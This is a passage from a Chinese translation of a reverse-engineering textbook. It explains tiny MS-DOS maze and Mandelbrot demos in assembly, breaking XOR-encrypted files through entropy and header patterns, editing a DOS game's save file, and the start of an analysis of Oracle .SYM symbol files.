中断。此外,我们只需要返回值的低 8 位数据,所以读这低 8 位数据即可。 笔者对 Trixter 的程序稍作精简,把它改进为 27 字节的程序: 00000000: B9D007 mov cx,007D0 ; limit output to 2000 characters 00000003: 31C0 xor ax,ax ; command to timer chip 00000005: E643 out 043,al 00000007: E440 in al,040 ; read 8-bit of timer 00000009: D1E8 shr ax,1 ; get second bit to CF flag 0000000B: D1E8 shr ax,1 0000000D: B05C mov al,05C ; prepare '\' 0000000F: 7202 jc 000000013 00000011: B02F mov al,02F ; prepare '/' ; output character to screen 00000013: B40E mov ah,00E 00000015: CD10 int 010 00000017: E2EA loop 000000003 ; exit to DOS 00000019: CD20 int 020 83.1.3 从随机地址读取随机数 MS-DOS 系统完全没有内存保护技术的概念。换句话说,应用程序可以任意访问内存地址。不仅如此, 在使用 LODSB 指令从 DS:SI 读取单字节数据的时候,即使程序没有预先给寄存器赋值也没有问题—它 会从任意地址读取一个字节! Trixter甚至在其网页里 ② ① 实际上,8 位控制字相当于四条指令。因为另一个指令没有在本程序发挥作用,所以本文没有进行介绍。 ② http://trixter.oldskool.org/2012/12/17/maze-generation-in-thirteen-bytes/。 推荐不初始化相关寄存器就直接使用LODSB指令。 原文同时建议使用 SCASB 指令替代 LODSB 指令,因为前者可以在读取数据的同时,根据数据直接设 置标识位。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 83 章 实 例 演 示 815 此外,使用 DOS 系统的 syscall INT 29h 还能对程序进行进一步精简。这个中断可以在屏幕上输出 AL 寄存器里的字符。 Peter Ferrie和Andrey“hermlt”Baranovich分别写出了 11 字节和 10 字节的程序。 ① 83.1.4 其他 指令清单 83.1 Andrey“herm1t”Baranovich: 11 bytes 00000000: B05C mov al,05C ;'\' ; read AL byte from random place of memory 00000002: AE scasb ; PF = parity(AL - random_memory_byte) = parity(5Ch - random_memory_byte) 00000003: 7A02 jp 000000007 00000005: B02F mov al,02F ;'/' 00000007: CD29 int 029 ; output AL to screen 00000009: EBF5 jmp 000000000 ; loop endlessly SCASB 指令计算“AL-[随机地址]”,并设置相应标识位。JP 指令比较少见,触发 JP 转移的条件是奇偶标识 位 PF 为 1(偶数)。在这个程序里,输出的字符不再由随机字节的某个比特位决定,而是由这个字节的各个比特 位共同决定。因此,这个程序的散列程度有望更好一些。 如果使用 x86 未公开的 SALC 指令(即 SETALC)、单指令完成“SET AL CF”,那么整个程序还可以 更短。这个指令最初出现在 NEC v20 CPU 上。用自然语言解释的话,它的功能就是“有 CF 标识位填充 AL寄存器”若 CF 为1,则 AL的值将会是0xFF;否则 AL的值就是零。受到SALC适用性的影响,任8086/8088 平台上这个程序应该跑不起来。 指令清单 83.2 Peter Ferrie: 10 bytes ; AL is random at this point 00000000: AE scasb ; CF is set according subtracting random memory byte from AL. ; so it is somewhat random at this point 00000001: D6 setalc ; AL is set to 0xFF if CF=1 or to 0 if otherwise 00000002: 242D and al,02D ;'-' ; AL here is 0x2D or 0 00000004: 042F add al,02F ;'/' ; AL here is 0x5C or 0x2F 00000006: CD29 int 029 ; output AL to screen 00000008: EBF6 jmps 000000000 ; loop endlessly 因此,完全有可能彻底抛弃条件转移指令。反斜杠(“\”)和斜杠(“/”)的 ASCII 值分别是 0x5C 和 0x2F。余下的问题就是:可否根据 CF 的(伪随机)状态把 AL 寄存器的值设置为 0x5C 和 0x2F。 实际上解决方法十分简单:无论 AL 的值是 0 还是 0xFF,我们把它和 0x2D 进行“与”运算,即可得到 0 和 0x2D。再把这个值与 0x2F 相加,就得到了 0x2F 和 0x5C。然后把 AL 寄存器里的值打印到屏幕上即可。 应当注意的是:在 DOSBox、Windows NT 主机、甚至是 MS-DOS 主机上运行同一个程序,看到的图 案都可能是不同的。影响程序结果的因素有:模拟器对 Intel 8253 计时器的不同模拟方式、寄存器的不同 初始值,以及其他因素。 83.2 曼德博集合 多少年来,编程人员不懈地钻研曼德博集合 ② ① 请参照 http://pferrie.host22.com/misc/10print.htm。 ② 还被译作曼德布洛特集合,英文原文是 Mandelbrot set。 的各种算法。本文将要介绍的,是Sir_Lagsalot在 2009 年发表 异步社区会员 dearfuture(15918834820) 专享 尊重版权 816 逆向工程权威指南(下册) 的曼德博集合的Demo程序 ①。这个程序由 30 个 16 位x86 指令构成,文件大小仅为 64 字节。 它绘制的图案如图 83.2 所示。 图 83.2 曼德博集合 Demo 程序绘制的图案 本节将介绍这个程序的工作原理。 83.2.1 理论 复数 复数是二元有序实数对,由实部(Re())和虚部(Im())两部分构成。在复数概念的二维空间里,任 意复数的实部和虚部都可表示为二维坐标,从而把该复数表示为平面的一个点。 本节用到的复数运算的基本法则有:  加法:(a+bi)+(c+di)=(a+c)+(b+d)i。 即: Re(sum) = Re(a) + Re(b) Im(sum) = Im(a) + Im(b)  乘法:(a + bi)(c + di) = (ac − bd) + (bc + ad)i。 即: Re(product) = Re(a) • Re(c)−Re(b) • Re(d) Im(product) = Im(b) • Im(c) + Im(a) • Im(d)  平方:(a+bi)2 = (a+bi)(a+bi)=(a2 −b2)+(2ab)i。 即: Re(square) = Re(a)2−Im(a)2 Im(square) = 2 • Re(a) • Im(a) 曼德博集合的绘制方法 曼德博集合可以由复二次多项式来定义:对于由复数 Z() 构成的递归序列 2 n 1 n z z c + = + 来说,不同的参 数 c 可能使序列的绝对值逐渐发散到无限大,也可能收敛在有限的区域内。曼德博集合就是使序列不延伸 至无限大的所有复数 c 的集合。 ① http://www.pouet.net/prod.php?which=53287。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 83 章 实 例 演 示 817 简单地说,普通程序的做法大致如下: ① — 计算上述值与初始值的矢量和  把屏幕划分为像限/取值区域。  将每个坐标点视为一个 c 值,并验证它是否属于曼德布洛特集合。  验证各坐标的方法如下: — 将每个坐标点视为一个复数参数 c。 — 描述该点的复数值。 — 计算复数值的平方。 ② 2 n 1 n z z c + = + 。 — 判断上述结果是否逃逸。如果逃逸则立刻终断。 — 在一定的迭代次数(n)内,进行复数二项式 的迭代。  如果这个点所代表的 c 值不会使递归序列的值逃逸到无限大,那么就在屏幕上用某种颜色标注这 个点。  如果这个点所代表的 c 值会使递归序列的值逃逸,则: — (黑白构图)不给这个点着色。 — (彩色构图)把逃逸时的迭代次数转换成某种颜色,并用这种颜色给这个点着色。因此,彩 色曼德博集合图上的颜色,描述的是该点的逃逸速度。 笔者编写了两个程序,分别以复数(宏观参数)和代数二项式(表达形式)两种角度实现上述算法。 指令清单 83.3 For complex numbers def check_if_is_in_set(P): P_start=P iterations=0 while True: if (P>bounds): break P=P^2+P_start if iterations > max_iterations: break iterations++ return iterations # black-white for each point on screen P: if check_if_is_in_set (P) < max_iterations: draw point # colored for each point on screen P: iterations = if check_if_is_in_set (P) map iterations to color draw color point 当参数为复数时,就要使用代数二项式“代入”上述参数,并应用前文介绍过的复数计算法则。 指令清单 83.4 For integer numbers def check_if_is_in_set(X, Y): X_start=X Y_start=Y iterations=0 ① 微软较为全面地介绍了数学方面和编程方面的细节,建议读者阅读:https://msdn.microsoft.com/zh-cn/library/jj635753%28v=vs.85%29.aspx。 ② 实际算法都令 z0=0,因此前几步运算在计算 z1。请参考前面推荐的微软文档。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 818 逆向工程权威指南(下册) while True: if (X^2 + Y^2 > bounds): break new_X=X^2 - Y^2 + X_start new_Y=2*X*Y + Y_start if iterations > max_iterations: break iterations++ return iterations # black-white for X = min_X to max_X: for Y = min_Y to max_Y: if check_if_is_in_set (X,Y) < max_iterations: draw point at X, Y # colored for X = min_X to max_X: for Y = min_Y to max_Y: iterations = if check_if_is_in_set (X,Y) map iterations to color draw color point at X,Y 维基百科的网站介绍了一种以C#语言实现的曼德博集合算法 ①。不过,那个源程序只能用符号显示迭 代次数的信息。笔者把它改得更为直观了一些,让它能够显示出序列的迭代次数 ② ① https://en.wikipedia.org/wiki/Mandelbrot_set。 ② 修改版程序的下载地址是:http://beginners.re/examples/mandelbrot/dump_iterations.exe。 : using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Mnoj { class Program { static void Main(string[] args) { double realCoord, imagCoord; double realTemp, imagTemp, realTemp2, arg; int iterations; for (imagCoord = 1.2; imagCoord >= -1.2; imagCoord -= 0.05) { for (realCoord = -0.6; realCoord <= 1.77; realCoord += 0.03) { iterations = 0; realTemp = realCoord; imagTemp = imagCoord; arg = (realCoord * realCoord) + (imagCoord * imagCoord); while ((arg < 2*2) && (iterations < 40)) { realTemp2 = (realTemp * realTemp) - (imagTemp * imagTemp) - realCoord; imagTemp = (2 * realTemp * imagTemp) - imagCoord; realTemp = realTemp2; arg = (realTemp * realTemp) + (imagTemp * imagTemp); iterations += 1; } Console.Write("{0,2:D} ", iterations); } Console.Write("\n"); } Console.ReadKey(); } } } 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 83 章 实 例 演 示 819 运行上述程序,可得到文件:http://beginners.re/examples/mandelbrot/result.txt。 这个程序限定迭代次数的上限为 40。输出结果中的“40”表示在 40 次迭代之内序列仍然收敛;而 40 以内的数字(比方说是 n),则表示在该点的 c 值在迭代 n 次之后令序列逃逸。 除此之外,http://demonstrations.wolfram.com/MandelbrotSetDoodle/公开了一个精彩的 demo 程序。它能 够用彩色线条显示指定 c 值产生的递归序列 zn。如果彩线落在灰色圆圈(模为 2)之外,那么该点代表的 c 值就不属于曼德博集合。 首先,笔者在黄色区域之内选取一个 c 值,观察它产生的递归序列,如图 83.3 所示。 图 83.3 在黄色区域之内选取 c 值 上述线条是收敛的。这表明笔者选取的 c 值属于曼德博集合。 然后,笔者在黄色区域之外选取 c 值。线条立刻混乱、甚至超出边界。如图 83.4 所示。 图 83.4 在黄色区域之外选取 c 值 异步社区会员 dearfuture(15918834820) 专享 尊重版权 820 逆向工程权威指南(下册) 这种图案是发散的。这表示刚才选取的 c 值不属于曼德博集合。 这个网站还开发了另一款曼德博集合的研究程序,有兴趣的读者可访问:http://demonstrations.wolfram.com/ IteratesForTheMandelbrotSet/。 83.2.2 demo 程序 本节将要介绍的这个曼德博集合的 demo 程序,仅由 30 条指令、64 个字节构成。虽然它的算法与前文 的算法一致,但是它用到了很多编程技巧。 整个程序的源代码是公开的。为了便于读者阅读,笔者添加了一些注释。 指令清单 83.5 程序源代码 + 注释 1 ; X is column on screen 2 ; Y is row on screen 3 4 5 ; X=0, Y=0 X=319, Y=0 6 ; +-------------------------------> 7 ; | 8 ; | 9 ; | 10 ; | 11 ; | 12 ; | 13 ; v 14 ; X=0, Y=199 X=319, Y=199 15 16 17 ; switch to VGA 320*200*256 graphics mode 18 mov al,13h 19 int 10h 20 ; initial BX is 0 21 ; initial DI is 0xFFFE 22 ; DS:BX (or DS:0) is pointing to Program Segment Prefix at this moment 23 ; ... first 4 bytes of which are CD 20 FF 9F 24 les ax,[bx] 25 ; ES:AX=9FFF:20CD 26 27 FillLoop: 28 ; set DX to 0. CWD works as: DX:AX = sign_extend(AX). 29 ; AX here 0x20CD (at startup) or less then 320 (when getting back after loop), 30 ; so DX will always be 0. 31 cwd 32 mov ax,di 33 ; AX is current pointer within VGA buffer 34 ; divide current pointer by 320 35 mov cx,320 36 div cx 37 ; DX (start_X) - remainder (column: 0..319); AX - result (row: 0..199) 38 sub ax,100 39 ; AX=AX-100, so AX (start_Y) now is in range -100..99 40 ; DX is in range 0..319 or 0x0000..0x013F 41 dec dh 42 ; DX now is in range 0xFF00..0x003F (-256..63) 43 44 xor bx,bx 45 xor si,si 46 ; BX (temp_X)=0; SI (temp_Y)=0 47 48 ; get maximal number of iterations 49 ; CX is still 320 here, so this is also maximal number of iteration 50 MandelLoop: 51 mov bp,si ; BP = temp_Y 52 imul si,bx ; SI = temp_X*temp_Y 53 add si,si ; SI = SI*2= (temp_X*temp_Y)*2 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 83 章 实 例 演 示 821 54 imul bx,bx ; BX = BX^2= temp_X^2 55 jo MandelBreak ; overflow? 56 imul bp,bp ; BP = BP^2= temp_Y^2 57 jo MandelBreak ; overflow? 58 add bx,bp ; BX = BX+BP = temp_X^2 + temp_Y^2 59 jo MandelBreak ; overflow? 60 sub bx,bp ; BX = BX-BP = temp_X^2+temp_Y^2 - temp_Y^2 = temp_X^2 61 sub bx,bp ; BX = BX-BP = temp_X^2 - temp_Y^2 62 63 ; correct scale: 64 sar bx,6 ; BX=BX/64 65 add bx,dx ; BX=BX+start_X 66 ; now temp_X = temp_X^2 - temp_Y^2 + start_X 67 sar si,6 ; SI=SI/64 68 add si,ax ; SI=SI+start_Y 69 ; now temp_Y = (temp_X*temp_Y)*2 + start_Y 70 71 loop MandelLoop 72 73 MandelBreak: 74 ; CX=iterations 75 xchg ax,cx 76 ; AX=iterations. store AL to VGA buffer at ES:[DI] 77 stosb 78 ; stosb also increments DI, so DI now points to the next point in VGA buffer 79 ; jump always, so this is eternal loop here 80 jmp FillLoop 这个程序的算法是:  切换到分辨率为 320 × 200/256 色的 VGA 模式。320 × 200 = 64000(0xFA00)。256 色的每个像素 都是单字节的数据,所以缓冲区大小就是 0xFA00 字节。应用程序使用 ES:DI 寄存器对即可对像 素进行寻址。 VGA 图形缓冲区的段地址要存储在 ES 寄存器里,所以 ES 寄存器的值必须是 0xA000。但是向 ES 寄 存器传递 0xA000 的指令至少要占用 4 个字节(PUSH 0A000h/POP ES)。有关 6 位 MS-DOS 系统的内存模 型,可参见第 94 章的详细介绍。 假设 BX 寄存器的值为零、程序段前缀(Program Segment Prefix)位于第 0 号地址处,那么 2 字节的 LES AX,[BX] 指令就会在 AX 寄存器里存储 0x20CD、在 ES 寄存器里存储 0x9FFF。也就是说,这个程序 会在图形缓冲区之前输出 16 个像素(字节)。但是因为该程序的运行平台是 MS-DOS,而 MS-DOS 没有实 现内存保护技术,所以这种问题不会引发程序崩溃。不过,屏幕右侧多出了一个 16 像素宽的红色条带,整 个图像向左移动了 16 个像素。这就是在程序里节省 2 字节空间的代价。  单个循环处理全部像素。在处理图像问题时,一般的程序都会使用两个循环:一个循环遍历 x 坐 标、另一个循环遍历 y 坐标。不过,在 VGA 图形缓存区里对某个像素进行定位时,双循环的程 序必须通过乘法运算才能寻址。为此,这个程序的作者决定使用单循环的数据结构,通过除法运 算获取当前点的坐标。经过转换以后,程序坐标的取值范围是:x~[−256,63],y~[−100, 99]。正因如此,整个图像的中心点偏右。虽然直接把 x 的值减去 160 就可以使 x 的取值范围变成 [−160,159],从而校准图像中心,但是“SUB DX,160”的指令占用 4 个字节,而作者的“DEC DH”(相当于 SUB DX,0x100)只用两个字节。图像中心偏右算是节省文件空间的另一个代价吧。 — 检测当前点是否属于曼德博集合。检测算法和前文相同。 — 以 CX 寄存器作为循环计数器进行 LOOP 循环。作者没有明确地给循环计数器赋值,而是让 CX 寄存器继续沿用第 35 行的数值(320)。或许,数值越大越精确吧。这同样可以节省文件空间。 — 使用 IMUL 指令。因为操作符是有符号数,所以乘法指令不是 MUL。同理,为了把原点坐 标 0,0 调整到屏幕中心区域,在转换坐标时(除法)使用到的是 SAR 指令(带符号右移), 而不是 SHR 指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 822 逆向工程权威指南(下册) — 简化逃逸检测的算法。常规算法检测的是坐标,即一对坐标值。而作者分三次检测了溢出问 题:两个求平方操作和一次加法运算的溢出。事实正是如此,我们使用的是 16 位寄存器,寄 存器内的数值不会超过[−32768,+32767]。在计算机进行有符号数的乘法运算时,只要坐 标的值大于 32767,那么该点的复数就不会属于曼德博集合。 — 后面再次出现的 SAR 指令(相当于除以 64)设置了 64 级素灰度。调色版的灰度值越大,对 比度就越高、图像就越清晰;反之,灰度越集中,对比度就越低、图像就越模糊。  程序执行到 MandelBreak 标签的情况分为两种:一种情况是循环结束时 CX = 0 这就说明,该点属于曼 德博集合;另一种情况是程序发生溢出、此时 CX 存储着非零值。这个程序把 CX 的低 8 位(即 CL) 写到图形缓冲区里。在默认调色板中,0 代表黑色,所以属于曼德博集合的坐标点都会显示纯黑色像素。 当然,我们确实能够在绘图之前把调色板设置得更个性化一些,不过那种程序就不会只有 64 字节了!  这个程序采用的是无限循环,不能正常退出。如果还要判断循环终止或者进行互动响应,那么程 序文件还要更大。 此外,这个程序的优化技巧同样值得一提:  使用单字节的CWD 指令清空DX 寄存器。相比之下,“XOR DX,DX”占用2 个字节,而“MOV DX, 0”则占用 3 个字节。  使用单字节的“XCHG AX,CX”完成双字节“MOV AX,CX”的操作。毕竟后面不再使用 AX 寄存器,所以交换数据完全不会造成问题。  因为程序没有对 DI 寄存器(图形缓冲区的位置)进行初始化赋值,所以它在启动时的初始值为 0xFFFE(寄存器初始值由操作系统决定)。不过这无伤大雅,这个程序只要求 DI 的值保持在[0, 0xFFFF]之间,软件用户也看不到屏幕区域之外的点(在 320×200×256 的图像缓冲区里,最后一 个像素的地址是 0xF9FF)。也就是说,因为这个程序前后衔接得严丝合缝,所以不管 DI 寄存器也 没问题。否则,编程人员还要添加把 DI 寄存器置零、以及检测图形缓冲区结束边界的指令。 83.2.3 笔者的改进版 指令清单 83.6 My“fixed”version 1 org 100h 2 mov al, 13h 3 int 10h 4 5 ; set palette 6 mov dx, 3c8h 7 mov al, 0 8 out dx, al 9 mov cx, 100h 10 inc dx 11 l00: 12 mov al, cl 13 shl ax, 2 14 out dx, al ; red 15 out dx, al ; green 16 out dx, al ; blue 17 loop l00 18 19 push 0a000h 20 pop es 21 22 xor di, di 23 24 FillLoop: 25 cwd 26 mov ax, di 27 mov cx, 320 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 83 章 实 例 演 示 823 28 div cx 29 sub ax, 100 30 sub dx, 160 31 32 xor bx, bx 33 xor si, si 34 35 MandelLoop: 36 mov bp, si 37 imul si, bx 38 add si, si 39 imul bx, bx 40 jo MandelBreak 41 imul bp, bp 42 jo MandelBreak 43 add bx, bp 44 jo MandelBreak 45 sub bx, bp 46 sub bx, bp 47 48 sar bx, 6 49 add bx, dx 50 sar si, 6 51 add si, ax 52 53 loop MandelLoop 54 55 MandelBreak: 56 xchg ax, cx 57 stosb 58 cmp di, 0FA00h 59 jb FillLoop 60 61 ; wait for keypress 62 xor ax, ax 63 int 16h 64 ; set text video mode 65 mov ax, 3 66 int 10h 67 ; exit 68 int 20h 笔者修正了上一个程序的缺陷:使用了平滑过渡的灰度调色板;把整个图形全部输出到了图形缓冲区里(第 19、20 行));使图像中心与屏幕中心重合(第 30 行);绘图结束后等待键盘敲击再退出程序(第 58~68 行)。不 过,整个程序大了近一倍:它由 54 条指令构成,文件大小也增长到了 105 字节。该程序的绘图如图 83.5 所示。 图 83.5 笔者的改进版程序的绘图 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第九 九部 部分 分 文 文件 件分 分析 析 异步社区会员 dearfuture(15918834820) 专享 尊重版权 826 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8844 章 章 基 基于 于 XXO ORR 的 的文 文件 件加 加密 密 84.1 Norton Guide:单字节 XOR 加密实例 在 MS-DOS 时代,Norton Guide(http://en.wikipedia.org/wiki/Norton_Guides)风靡一时。它是一款驻留 内存的 TSR 程序,可与编程语言的编辑程序整合,提供超文本形式的参考信息。 Norton Guide 的数据库文件是.ng 文件。一看便知,这种文件经过加密处理。如图 84.1 所示。 图 84.1 Very typical look 为什么说它是加密文件而非压缩文件呢?我们可以看到数值为 0x1A 的字节(右箭头字符)多次出现, 而压缩文件则不会发生这种情况。我们还看到了大量有拉丁字符的片段,只是这些字符串不可自然解释。 因为文件多次出现了 0x1A,所以我们按照加密文件进行处理,并且假设该文件是经异或/XOR 加密的密文。 我们可在 Hiew 里清楚地看到,当使用 0x1A 对每个字节进行异或运算时,文件里出现了亲切的英语文字。 如图 84.2 所示。 图 84.2 Hiew XORing with 0x1A 异步社区会员 dearfuture(15918834820) 专享 尊重版权 828 逆向工程权威指南(下册) 对每个字节进行 XOR 运算是一种最初级的加密方法。不要因为其简单就瞧不起这种分析方法,实际 的分析工作中就是会频繁遇到这种技术。 现在,我们大体理解了 0x1A 出现次数很多的原因了。在进行异或运算之后,数值为 0 的明文字节会演变 为数值为 0x1A 的密文。 应当注意:加密的常量会因文件而异。在解密单字节 XOR 加密的密文时,我们应当尝试 0~255 之间的每个 数,再分析一下密文文件被解密成什么样子。有关 Norton Guide 的文件格式,请参见:http://www.davep.org/ norton-guides/file-format/。 信息熵 在加密领域,信息熵(entropy)属于重要的信息指标。它有一个重要特性:加密前后的明文和密文, 其信息熵不变。本节将介绍使用 Wolfram Mathematica 10 来计算信息熵的具体方法。 指令清单 84.1 Wolfram Mathematica 10 In[1]:= input = BinaryReadList["X86.NG"]; In[2]:= Entropy[2, input] // N Out[2]= 5.62724 In[3]:= decrypted = Map[BitXor[#, 16^^1A] &, input]; In[4]:= Export["X86_decrypted.NG", decrypted, "Binary"]; In[5]:= Entropy[2, decrypted] // N Out[5]= 5.62724 In[6]:= Entropy[2, ExampleData[{"Text", "ShakespearesSonnets"}]] // N Out[6]= 4.42366 上述各指令分别用于加载文件、计算信息熵、解密、保存和计算明文的信息熵(熵不变)。Mathematica 还提供了知名的英文片段以供人们进行分析。我选取了莎士比亚的十四行韵律诗进行分析,其信息熵与前 一个例子基本相同。我们分析的英文语句,其信息熵与莎士比亚的语言相似。对英文原文进行单字节的 XOR 加密之后,其信息熵与原文相同。 但是,如果加密单元大于一个字节,那么信息熵就是另外一种情况了。 本节分析的英文原文,可在下述地址下载:http://beginners.re/examples/norton_guide/X86.NG。 其他 Wolfram Mathematica计算的熵以自然指数e为基数,而UNIX的ent工具 ① 84.2 4 字节 XOR 加密实例 则以 2 为基数。所以上例明确 指定“以 2 为基数”,以使得Mathematica的计算结果与ent工具的计算结果相同。 即使 XOR 算法采用多字节密钥,例如说 4 字节密钥,分析方法也没有什么两样。本节以 32 位 Windows Server 2008 的 Kernel32.dll 为例进行说明。源文件如图 84.3 所示。 以 4 字节密钥进行加密,可得到图 84.4 所示的结果。 通过观察文件,就可以看到一组循环出现的 4 字节字符串。实际上这并不困难,因为 PE 文件的文件 头中含有大量的零字节,所以我们可以直接看到密钥。 在 16 进制编辑器里,PE 文件头大体如图 84.5 所示。 ① 官方网站为 http://www.fourmilab.ch/random/。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 84 章 基于 XOR 的文件加密 829 图 84.3 源文件 图 84.4 文件密文 图 84.5 PE 文件头 异步社区会员 dearfuture(15918834820) 专享 尊重版权 830 逆向工程权威指南(下册) 加密之后,如图 84.6 所示。 图 84.6 加密后的 PE 文件头 观察可得 4 字节密钥:8C 61 D2 63。使用这个消息块即可对文件解密。 此处不得不提 PE 文件的几个特点: ① PE 文件头里含有大量的零字节。 ② 所有的 PE 字段都向分页边界—4096 字节对齐,用零字节填补空缺;所以每个字段之后肯定存在 大量的零字节。 用零来实现边界对齐的文件格式并不罕见。很多科学计算软件及工程类软件都采用了这种文件格式。 有兴趣的读者可研究一下本例的文件。它们的下载地址是:http://beginners.re/examples/XOR_4byte/。 84.3 练习题 请尝试解密下列链接中的密文。 http://go.yurichev.com/17353 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8855 章 章 M Miilllleenniiuum m 游 游戏 戏的 的存 存档 档文 文件 件 “Millenium Return to Earth”是一款古老的 DOS 游戏(1991 年问世)。玩家可在游戏中挖矿、修建战舰、 在其他星球上作战,等等。有兴趣的读者可以体验一下它:http://thehouseofgames.org/index.php?t=10&id=110。 和其他的游戏程序一样,这个游戏也有游戏存档的功能。现在我们来分析一下它的存档文件。 游戏中有“矿”的概念。挖矿的速度因星球而异,在某些星球上快些,而在另一些星球上慢些。另外, 在游戏的设定中,矿产的种类也有差异化的设定。在图 85.1 中,您可看到游戏存盘时的挖矿进度。 图 85.1 Mine:状态 1 我保存了这一时刻的游戏状态。存盘文件总计 9538 字节。 然后,我又在游戏里挖了几“天”的矿。挖矿进度如图 85.2 所示。 图 85.2 Mine:状态 2 此时我再次保存了游戏状态。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 832 逆向工程权威指南(下册) 现在,我们使用 DOS/Windows 的 FC 程序来比较两个存档文件的差别: ...> FC /b 2200save.i.v1 2200SAVE.I.V2 Comparing files 2200save.i.v1 and 2200SAVE.I.V2 00000016: 0D 04 00000017: 03 04 0000001C: 1F 1E 00000146: 27 3B 00000BDA: 0E 16 00000BDC: 66 9B 00000BDE: 0E 16 00000BE0: 0E 16 00000BE6: DB 4C 00000BE7: 00 01 00000BE8: 99 E8 00000BEC: A1 F3 00000BEE: 83 C7 00000BFB: A8 28 00000BFD: 98 18 00000BFF: A8 28 00000C01: A8 28 00000C07: D8 58 00000C09: E4 A4 00000C0D: 38 B8 00000C0F: E8 68 ... 上述内容是比对结果的部分内容。两个文件的不同之处还有很多,但是其余内容不如这些信息那样富 有代表性。 在第一次存盘时,我持有 14 个单位的 hydrogen 和 102 个单位的 oxygen。在第二次存盘时,相应的持 有量变为 22 和 155 个单位。如果程序把这两个值存储在存档文件中,那么我们应当可以在存档里找到它。 实际情况正是如此。在存档文件的 0xBDA 处,第一个存档文件的值为 0x0E(14),在第二个存档文件的值 为 0x16(22)。地址 0xBDA 存储的应当是 hygrogen 的量。然后,在文件的 0xBDC 处,两个值分别为 0x66 (102)和 0x9B(155)。地址 0xBDC 存储的应当是 oxygen 的值。 您可以自己把玩一下这个游戏,分析存档文件的具体格式。您还可以下载我用的游戏存档: http://beginners.re/examples/millenium_DOS_game/。 使用 Hiew 打开第二次存档的存档文件,可以看到有关矿石的持有量。如图 85.3 所示。 图 85.3 Hiew:状态 1 这个值无疑是 16 位数值:在 DOS 时代的 16 位软件程序里,int 型数据就是 16 位数据,这并不意外。 验证一下我们的推测是否正确。把这个地址的值(hydrogen)改为 1234(0x4D2),如图 85.4 所示。 图 85.4 Hiew:把数值修改为 1234(0x04D2) 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 85 章 Millenium 游戏的存档文件 833 然后打开游戏、加载存档中的进度,看看矿产持有量。如图 85.5 所示。 图 85.5 Let’s check for hydrogen value 以上信息表明,我们的推测是正确的。 为了快速通关,我们把所有矿产的持有量都改成最大值,如图 85.6 所示。 图 85.6 Hiew:把各项都修改为最大值 0xFFFF 是 65535。改动之后,我们就是资源大亨了。如图 85.7 所示。 图 85.7 所有资源都变为 65535 异步社区会员 dearfuture(15918834820) 专享 尊重版权 834 逆向工程权威指南(下册) 在进行了几个游戏日的奋斗之后—哎?部分资源变少了。如图 85.8 所示。 图 85.8 Resource variables overflow 这就发生了数值溢出。游戏开发人员可能没有想到玩家会持有这么多的矿产,所以未做溢出检测。但 是挖矿就会增加矿产,超过数据最大值之后、数据溢出了。这样看来,要是我当初没那么贪心就好了,或 许吧。 这款游戏的存档文件里还有很多数值,本文不再一一分析。 这属于一种简单的游戏作弊方法。只要玩家略微改动一下存档文件,他们就可以获得很高的游戏分值。 本书 63.4 节详细介绍了各种文件及内存快照的比较方法。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 8866 章 章 O Orraaccllee 的 的..SSYYM M 文 文件 件 在程序崩溃的时候,Oracle RDBMS 会把大量信息写到日志文件(log)里。日志文件会记录数据栈的 使用情况,如下所示。 ----- Call Stack Trace ----- calling call entry argument values in hex location type point (? means dubious value) -------------------- -------- -------------------- ------------------- _kqvrow() 00000000 _opifch2()+2729 CALLptr 00000000 23D4B914 E47F264 1F19AE2 EB1C8A8 1 _kpoal8()+2832 CALLrel _opifch2() 89 5 EB1CC74 _opiodr()+1248 CALLreg 00000000 5E 1C EB1F0A0 _ttcpip()+1051 CALLreg 00000000 5E 1C EB1F0A0 0 _opitsk()+1404 CALL??? 00000000 C96C040 5E EB1F0A0 0 EB1ED30 EB1F1CC 53E52E 0 EB1F1F8 _opiino()+980 CALLrel _opitsk() 00 _opiodr()+1248 CALLreg 00000000 3C 4 EB1FBF4 _opidrv()+1201 CALLrel _opiodr() 3C 4 EB1FBF4 0 _sou2o()+55 CALLrel _opidrv() 3C 4 EB1FBF4 _opimai_real()+124 CALLrel _sou2o() EB1FC04 3C 4 EB1FBF4 _opimai()+125 CALLrel _opimai_real() 2 EB1FC2C _OracleThreadStart@ CALLrel _opimai() 2 EB1FF6C 7C88A7F4 EB1FC34 0 4()+830 EB1FD04 77E6481C CALLreg 00000000 E41FF9C 0 0 E41FF9C 0 EB1FFC4 00000000 CALL??? 00000000 既然是编译器生成的程序,那么 Oracle 的可执行程序里必定会有调试信息、带有符号(symbol)信息 的映射文件、或者是相似的信息。 在 Windows NT 版的 Oracle RDBMS 中,其可执行文件里存在着与.SYM 文件有关的符号信息。可惜, 官方不会公开.SYM 文件的文件格式。固然 Oracle 可以使用纯文本文件,但是如此一来还要对其进行多次 转换,性能必然大打折扣。 我们从最短的文件 orawtc8.sym 入手,试着分析这种格式的文件。Oracle 8.1.7 的动态库文件 orawtc8.dll 之中, 存在着这个.SYM 文件的符号信息。对于 oracle 数据库的程序来说,版本越旧、功能模块的文件就越小。 使用 Hiew 打开上述文件,可以看到如图 86.1 所示的界面。 图 86.1 使用 Hiew 打开整个文件 异步社区会员 dearfuture(15918834820) 专享 尊重版权 836 逆向工程权威指南(下册) 参照其他.SYM 文件,可知这种格式的文件头(及文件尾部)都有 OSYM 字样。据此判断,这个字符 串可能是某种文件签名。 大体来说,这种文件的格式是“OSYM + 某些二进制数据 + 以 0 做结束符的字符串 + OSYM”。很明显, 这些文件中的字符串应当是函数名和全局变量名。 如图 86.2 所示,字符串 OSYM 的位置较为固定。 图 86.2 OSYM signature and text strings 接下来,我把这个文件中的整个字符串部分(不包含尾部的 OSYM 签名字符串)复制了出来,并单独 存储为一个文件 strings_block。然后使用 UNIX 的 strings 和 wc 工具统计它字符串的数量: strings strings_block | wc -l 66 